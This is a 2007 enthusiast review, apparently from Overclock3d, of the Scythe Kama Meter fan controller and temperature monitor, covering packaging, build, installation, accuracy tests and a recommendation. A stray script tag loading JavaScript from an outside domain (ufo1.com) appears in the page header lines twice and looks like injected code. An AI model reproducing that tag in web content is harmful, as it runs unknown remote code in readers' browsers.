Scythe Kama Meter Fan Controller Page: 1
Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 29/04/2007
Author: Matthew Fogg
Hardware Acquired:
Scythe

Introduction

Today we will be looking at Scythe's top of the line fan controller and multi function bay device - the Kama Meter. Recently Scythe has been releasing some very stellar cooling products for the enthusiast, ranging from high performance CPU heatsinks and GPU coolers to power supplies and innovative input devices. The Kama Meter is no exception to Scythe's commitment to creating a quality product. The Kama Meter carries out 3 basic but essential tasks in one very classy package. This controller has the ability to measure 4 temperature probes, control the speed of 4 fans, and even control your computers volume level. Let's have a look at the Kama Meter and see if it's a worthy component for your rig...

Packaging

The Scythe Kama Meter comes packaged tightly in a very flashy looking box with a lot of feature blurbs which are done in both English and Japanese. On the left side of the box is a list of contents and on the right side of the box is a very brief specifications chart. On the back of the box displays a picture of the controller and outlines some of its features.

Kama Meter Box Front Kama Meter Box Back
Kama Meter Box Specs

Upon opening the box you'll find a custom fit styrofoam insert which houses the controller, face plates, and all of the accessory cables and other goodies. Everything fits nice and snug inside and would be very hard to damage in transit as it should be packed within another box. I particularly like how they seperated all of the face plates individually so that they wouldn't bang into each other and cause any blemishes.

Kama Meter Box Open

In the end I think that Scythe has done a great job with the packaging. As with most other Scythe products the flashy graphics on the box and such tend to be a little cluttered and over the top and it seems to be their signature. But hey, it works well!

Next let's have a look at the specifications for this controller...


Scythe Kama Meter Fan Controller Page: 2
Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 29/04/2007
Author: Matthew Fogg
Hardware Acquired:
Scythe


Specifications

Specifications were taken directly from Scythe USA's homepage.

Model Name: KAMA METER
Model #: SCKM-1000
Manufacturer: Scythe Co., Ltd. Japan Dimension: 149x42x75mm (WxHxD)
Weight: 320gTemperature Module Channels: 4
Temperature Range: 0 ~ 90? (32 ~ 194F)
Fan Channels: 4Front Panel Colors: 3 (Black, Silver, White)

Features

Feature list taken directly from Scythe USA's homepage.

4 Fan Controller, 4 Temperature Monitor, and Sound Controller
Kama Meter is able to control and monitor up to 4 fans independently, 4 temperatures to meet user’s system requirement. The sound controller & display is also built-in to connect and play with your sound system.

Passive Safety - Safe Alarm Feature
To safely monitor and run your system, Kama Meter comes with the alarm feature to inform the user in case of fan malfunction. If the temperature goes below 0C(32F) or above 90C(194F), the LCD panel will blink in red and trigger the alarm. If the controlled fan speed (rpm) becomes below 400rpm, the LCD panel will blink in yellow and trigger the alarm.

Intelligent Self-Test & Storage
Kama Meter keeps the settings saved by the user in its memory, and also provides the self-testing every time you start the PC.

Selection of 3 Front Panel Colors
Selection of black, silver, and white front panel to match with your case color!


Package Contents

The Kama Meter comes with a healthy array of contents ranging from 3 pin fan extension cables to a full set of temperature probes. Everything in the box comes seperately bagged and nicely tied up. Let's have a look at what we have in the box:

Kama Meter Box Contents

This picture illustrates everything inside of the box including the extra faceplates and instruction pamphlet.

Kama Meter Cables Kama Meter Audio Bracket

Scythe have done a great job in the cable department as they actually supply you with enough cables to fill all of it's available fan / temp reading ports.

You get a full set of four 3-pin fan extension cables; a set of four temperature probes, and the 4-pin molex to 4-pin floppy power adapter (the Kama Meter is powered using a floppy style power connector). Also included with the Kama Meter is a PCI audio bracket and audio patch cable which gives you the ability to control your computers speaker/output volume level directly from the Kama Meters front panel.

Something that really impressed me in this area was the fact that Scythe gives you 4 small pieces of tape which can be used to affix the temp probes sensors to your selected monitoring areas. Every other kit I've owned leaves you high and dry trying to figure out your own way to attach the temp probes... Props to Scythe for including these. In the same bag with the tape are the mounting screws as well.

Kama Meter Faceplate White

One of the many great features of this monitoring and fan control kit is that it can virtually be used by anyone with any standard color case. Scythe has included a total of three colored faceplates; white (factory installed), black, and silver. The colors are very well matched to brushed aluminum cases such as the Lian Li's in silver and black.

I am still a little confused as why they included a gloss white faceplate at all as I don't know of any white faced cases (none that are popular at least). To be honest I think they would have been better off offering the third color as a gloss black or possibly even beige.

The included black faceplate is a flat black which means it does not match gloss black cases, such as the Antec piano black cases. The faceplates are all constructed from a high quality thick metal; no plastic for the Kama Meter!

Scythe Kama Meter face plates

Now let's have a look at how hard it is to swap out the faceplates...

Scythe Kama Meter with faceplate removed

You can see from the image above that the faceplate is dead-simple to remove. All that it requires is the removal of the four knobs (which simply pull off) and the removal of two small screws from the side. Voila...the faceplate is able to be changed.

Let's move on and have a further look at the Scythe Kama Meter in a little more detail...


Scythe Kama Meter Fan Controller Page: 3
A Closer Look

The Scythe Kama Meter is extremely well constructed. Unlike many other controllers out there that feel extremely plasticy and some-what fragile, the Kama Meter simply oozes durability.

Scythe Kama Meter reverse

You can see from the above image just how well constructed the Kama Meter is. The electrolytic capacitors on the green pcb seem to be of a very high quality and the other various components equally so. There were no clear markings on the capacitors as to who the manufacturer was, so I have refrained from including a supporting image.

All of the 3-pin fan headers are clearly marked and the power connector is essentially a larger floppy connecter to prevent confusion. For a small and relatively crowded piece of real-estate, the Kama Meter is extremely well laid out and neat. Even the potentiometer (pots) wiring has received the same amount of care and attention, which adds to the overall build quality of this unit. Only the thermal connectors (to the right of the fan headers) are not labeled explicitly, which I have yet to work out why.

audio blanking plate flat audio blanking plate rear

The images above illustrate the Scythe Kama Meter's audio controller blanking plate. It has In / Out female sockets to accept the audio out plug coming straight from your motherboard. The 4 pins that you can see on the rear of the card connect directly to the Kama Meter itself and allows for volume adjustment from the front of the unit.

Installation

Installation of the Scythe Kama Meter is an absolute breeze and requires only 4 small screws to fasten it into one of your drive bays. I do have one area to pick here though! In this day and age where end-users and enthusiasts alike are increasingly using case windows to show off their hardware, it would be nice to see a little sleeving on the extension cables instead of the usual yellow/red and black. The last thing 'bling' fanatics would really want is the additional wiring which would stick out like a sore thumb. Admittedly it is a small gripe, but with increasing numbers of fan manufacturers sleeving their cables we have grown to expect a little extra. Plus it makes the product look finished.

I have taken the liberty of not including an image of the installed audio controller in my review setup as I have a rear mounted radiator that won't permit a clean shot worthy of being included in the review. I have however included a shot from my aircooled AMD case which is a little less cluttered at the rear (so you get the idea). If you use onboard sound then you may find this feature useful for adjusting the volume of your music or gaming. But with the majority of people chosing to use a dedicated sound card, the audio controller will not be utilised and would simply provide additional case clutter.

audio controller in-situ

Scythe Kama Meter installation

The Scythe Kama Meter looks right at home in the front of my PC don't you think? And the black faceplate matches reasonably well with the matt-black finish on the drive covers.
Scythe Kama Meter installed

Firing up my PC I was greeted with a vibrant display of colours thanks to the Kama Meter's auto colour change mode.

Scythe Kama Meter Colour Display

(Please click the above image to see a short video file of the available colours - QuickTime required)

The display of colours avaible with the Kama Meter are as follows - Blue, Purple, Sapphire, Green, Orange-Green, Red and Violet. I have included an image which illustrates perfectly what information the Scythe Kama Meter will report back to you - the owner.

Scythe Kama Meter explained

You can see from the above image just how much monitoring information the Kama Meter provides, and the interface is very clean and uncluttered.

Now let's put the Kama Meter through its paces and see how it performs...


Scythe Kama Meter Fan Controller Page: 4
Test Setup

The testing procedure that I have decided to use for the Scythe Kama Meter is to essentially assess the accuracy for fan control and the accuracy of its temperature monitoring probes. All testing will be conducted from within the PC case and images provided where necessary to further reinforce the results. The PC chosen for the testing phase is as follows:

* Intel C2D e6600
* ASUS P5B Deluxe wifi/app
* ASUS EN8800 GTS (640Mb)
* Silverstone ST60F PSU
* 2 x 250GB Seagate SATA II HDD's (RAID 0)
* Custom watercooling
* CoolerMaster 830 Stacker
* Scythe Minebea cooling fans

I will simply be assessing the Kama Meter's ability to smoothly control fan speed and its low rpm/no rpm alarm feature. For the thermal reporting feature, I will be using the Scythe Kama Thermo temperature sensor to check the Kama Meter's accuracy. Both the Kama Meter and Kama Thermo's thermal probes will be positioned in various locations around the PC case and the temperatures will be checked against each other to check for consistancy. I have also included a regular mercury thermometer to further assess accuracy. The thermometer will be allowed 5 mins to aclimatise to each new location.

Let's see how the Kama Meter performs on the following page...


Scythe Kama Meter Fan Controller Page: 5
Performance

Fan Controlling

When I first fired up the Kama Meter, it ran the fans at their full rated speed (a feature call Spin-Up Supporting Feature by Scythe). Once I got the fan speed settings the way that I wanted them, the Kama Meter's EEPROM took over and stored the settings in memory. This essentially allows for an automated or manual configuration of your fans according to personal preference. Nice touch Scythe!

The Scythe Kama Meter excels at controlling any four given fans whether they be 80/92/120mm in size. The Kama Meter provides accurate, real-time fan speeds. The Scythe Minebea fans that I used for the review were consistantly read at their rated rpm's, with minor fluctuations being accurately reported as well. Scythe, in their user manual actually states that the level of accuracy achieved may depend upon which manufacturer you prefer for cooling fans, but the Kama Meter liked my Minebea's.

One thing I did notice was that the Kama Meter took a few moments to react to manipulation of the fan speed knob. Why this occured I'm not sure, as the knobs feel very fluid in their movement and didn't show any signs of sticking or slack. It should be noted too that the fan speed knob spins indefinitely either way when manipulated, but once you reach the lowest rated fan speed, the knob doesn't make any difference to further reduction in speed.

One other area of particular interest is the way that the Scythe Kama Meter reports a fan failure or the inability to read the fan's actual speed. Once a fan drops below 400 RPM the Scythe Kama Meter detects it as a malfunction and gives off both a visual and audible alarm to the user. As a result, the display panel starts to flash and the audible alarm is quite loud and shrill...there'll be no confusion about what is going on should it happen. I disconnected one of the fans during testing and sure enough, off went the alarm.

Minebea fans

Temperature Reporting

The Scythe Kama Meter is extremely accurate at reporting any given temperatures within its rated 0 - 90 degree C specification. The most variation that I witnessed between the Kama Meter and Kama Thermo/mercury thermometer was a meager 0.3 of a degree C. Not a bad effort I must say.

For some strange reason the Scythe Kama Thermo is designed to emit the same shrill alarm once temperatures reach 90 deg C...I'm sorry, but I would like to know if something is getting that hot, well before it happens. Again, why this alarm feature has been set so rediculously high intrigues me; and alternatively if case temperatures should fall to 0 degrees C the alarm will sound again indicating extreme cold. Perhaps this is one area that Scythe could look at remedying as I personally think the temperature range to report a too hot a case is excessively high at 90 degrees C.

Temp monitoring

So we can see that the Scythe Kama Meter is quite a flexible unit and extremely accurate for temperature reporting and fan control, but how does it stack up in an holistic sense? Well follow along with me onto the conclusion page and I'll summarise its overall performance there....

Scythe Kama Meter Fan Controller Page: 6
Conclusion

I must admit that there isn't a lot to dislike about the Scythe Kama Meter. It does what it's designed to do, without pretending to achieve what it can't. I'm sure that you'll all agree with me that the unit is extremely good looking, and that the faceplates being interchangeable allows for increased flexibility between various cases that is not seen in many other rheobus's.

The quality of the unit is exceptional...all the way from the electronic components that it is constructed from, down to the functionality that it allows. The display is extremely easy to read even from a considerable distance, and the array of reporting features that it provides is very user friendly. Especially considering its small footprint.

I have found in the past that some double 5.25" fan controller units struggle to present the amount of 'useable' features that the Scythe Kama Meter does. What I mean is that yes, I can do without the 12/24 hour clock format thanks...and all the frilly 'bells and whistles' diplays whilst we're at it. I want meaningful functionality!

The Scythe Kama Meter's temperature reporting and fan controlling capabilities are very accurate and flexible. Surely a testament to Scythe's quality that I aluded to above.

Admittedly, I had a couple of niggles with Scythe regarding the non-provision of sleeved cabling and the extreme temperatures required for the alarm to sound in the event of heat problems should they arise. I believe that the rectification of these issues would make the Scythe Kama Meter an extremely well rounded contender for any enthusiasts dollar. And I should clarify that the Kama Meter as it stands now, even with these issues is still well worth a solid look. And cable sleeving kits really aren't that expensive.

Further, the only other are that I think could add to the Kama Meter's overall appeal is possibly the inclusion of perhaps a card reader or additional USB ports. But bearing that in mind, if included, they would take up extra space on an already minimalist interface; and provide additional cabling needing to be hidden.

I particularly liked the fact that the unit didn't require any additional drivers for control and it is a true plug-and-play device in every sense of the word. Sure, Scythe could have supplied the Kama Meter with the ability to read and monitor temperatures via the serial port, but it simply adds to the complexity of installation for the new user. Plus, driver support simply introduces another element into the equation that could potentially go awry.


I have decided to award the Scythe Kama Meter the 'Recommended Award' based upon its ability to perform solidly and reliably throughout the course of the review. The Scythe Kama Meter can be purchased from SpecialTech for £ 35.23 , inc VAT 17.5%.

Pro's

+ Solid, quality construction
+ Small footprint
+ Reliable and accurate
+ Compatability with different coloured cases due to faceplates
+ Provides both visual and audible alarms
+ Front bezel doesn't stick out as far as other rheobus's currently available.

Con's

-
Alarm triggers set too high and low
- Increased cabling concerns
- Audio control is restricted really to onboard sound only

Recommended Award

Overclock3d would like to extend a sincere thank you to Scythe for providing the Scythe Kama Meter for review.

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